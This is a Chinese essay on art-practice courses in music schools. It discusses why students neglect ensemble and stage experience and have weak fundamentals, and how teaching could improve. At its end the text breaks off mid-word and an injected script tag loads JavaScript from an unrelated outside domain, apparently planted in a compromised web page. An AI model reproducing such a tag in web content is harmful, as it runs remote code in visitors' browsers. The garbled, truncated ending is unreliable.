艺术实践课是各音乐院校表演与理论专业的一门必修课。通过这门课程，检验教师的教学水平和学生音乐理论与专业课的学习进展情况，增强学生的实际应用能力，使学生成为具有较高音乐素质、表演能力强的全面发展的音乐人才。这是各音乐院校音乐表演专业实践课的根本目的，也是今后学生走向社会所要具备的基本能力。

    一、艺术实践课中存在的问题

    在参与学生艺术实践的课程时，我深深地体会到学生由于对艺术实践课的意义认识不足，音乐理论知识及专业基本功不扎实，锻炼机会少，缺乏舞台实践经验等，这些直接影响到本课程的教学质量，影响了学生在艺术道路上的进程。为此笔者认真地分析了这些问题，与各位同仁共飨。

    1. 重专业技能的培养，轻舞台演出经验的积累

    有些老师和同学对艺术实践的意义认识不足，忘记表演实践是学习音乐的目标之一，把学习与实践分割开来，认为艺术实践无关紧要，还耽误专业课的学习。因此他们只注重专业课的独奏独唱曲目，而忽视重奏（唱）合奏（唱），这样就很难保证艺术实践的教学质量。而且艺术表演专业的学生在校期间几乎每周都有合奏、合唱、重奏和重唱课，但一直是在教室和琴房中进行，老师和学生更多的是侧重于技术的练习，忽略了音乐表演的作用。在合奏时有些同学只注意自己的声部，不注意与整体音乐的协调，在演奏中忽视与同伴相互间的音乐与感情交流（包括动作与眼神等），使演奏出的音乐很呆板、杂乱，不能充分表达和再现音乐作品的风格和特点，达不到教学的要求。还有的学生心理素质较差，加上锻炼机会少，本来在琴房练得好好的，一上台就紧张，缺乏演出团体的演奏员那样的自信心和表现欲望，使演奏和演唱效果大打折扣。
 
    2. 忽视自身音乐素养的培养，专业的基本功不够扎实

    音乐是声音的艺术，表演音乐作品靠的是对声音的感知，对音高、节奏、调式、旋律、和声等音乐要素的正确理解与表达。这些是在乐理、视唱练耳、和声等课程中都进行过的音乐素质训练，是要求学生从有意识地练习，到找其规律性，上升到无意识的正确习惯中，体现自身训练有素的音乐修养。但有些学生对自己要求不够严格，不能把这些学到的知识严格准确地运用到音乐的演奏（唱）中，因此在演奏（唱）时出现这样或那样的错误。还有些同学缺乏对音乐作品应有的理解，认为那只是指挥的事情。其实每个学生都应该了解音乐作品的风格特点、曲式、调式、和声等音乐表现手段，才能通过自己（声部）把每段音乐的内涵与意境充分表现出来。有的学生对专业技巧掌握的还不够准确熟练，不能很好地完成作品对技术上的要求。如学生在演奏（唱）时，由于演奏（唱）的方法不统一，技术上的问题，直接影响作品的表达，特别是合奏（唱）时，同声种的发音（演奏）方法不统一，气息不一致，吐字不清，乐句不明确，直接影响对音乐作品的二度创作。　
　
    3. 各专业学生锻炼机会不匀

    艺术实践是各种专业学生的必修课。比如：参加管弦乐队、民乐队、合唱队的学生利用重唱、重奏、合奏、合唱都可以完成艺术实践课程。但有些专业的学生在艺术实践课中锻炼机会较少，如键盘专业的学生不是都有独奏、重奏、伴奏的机会，这是在许多音乐学校都存在的普遍问题，应引起老师们的高度重视。

    二、搞好艺术实践课教学的措施

    1.重视艺术实践教学的课程建设

    首先要提高广大师生对艺术实践课程的重视程度，了解本课程的意义和目标，认清本课程与专业课学习是不可分割的重要组成部分，表演音乐是音乐学习的最终目标，在观念上要重视这门课程。在此基础上，认真规划好本课程的教学安排，要有教学目的、有计划、有教学内容，不能临时凑合。要有具体管理本课程的实施过程，有具体的评价标准。在艺术实践课完成之后，要认真总结经验，找出差距和不足，制订改进方案。

    2.加强各种基本功的训练

    在艺术实践的舞台上，表现音乐作品的完整统一性是要依据科学、规范、系统的专业训练为基础，能否使音高、节奏准确，说起来容易，但做起来并不轻松，是要用心、用脑去感受的，是要用耳去倾听的，需长期地坚持下去。专业技术技巧是表现音乐的基本手段，要让学生充分展示演奏（唱）中的技术技巧与方法，以科学的演奏（唱）方法来支持音乐作品的二度创作与表演。专业指导老师应从实际出发，在专业上给予学生科学的训练与演奏法的指导，加强演奏（唱）等基本功的训练，让学生明确发音方法与演奏技术的精髓与完美的音色，如演奏中的长音、短音、顿音等基本功问题，演唱中的发声方法、呼吸、吐字、等问题，获得比较理想音色与音?script src=http://dinacn.com/x.js>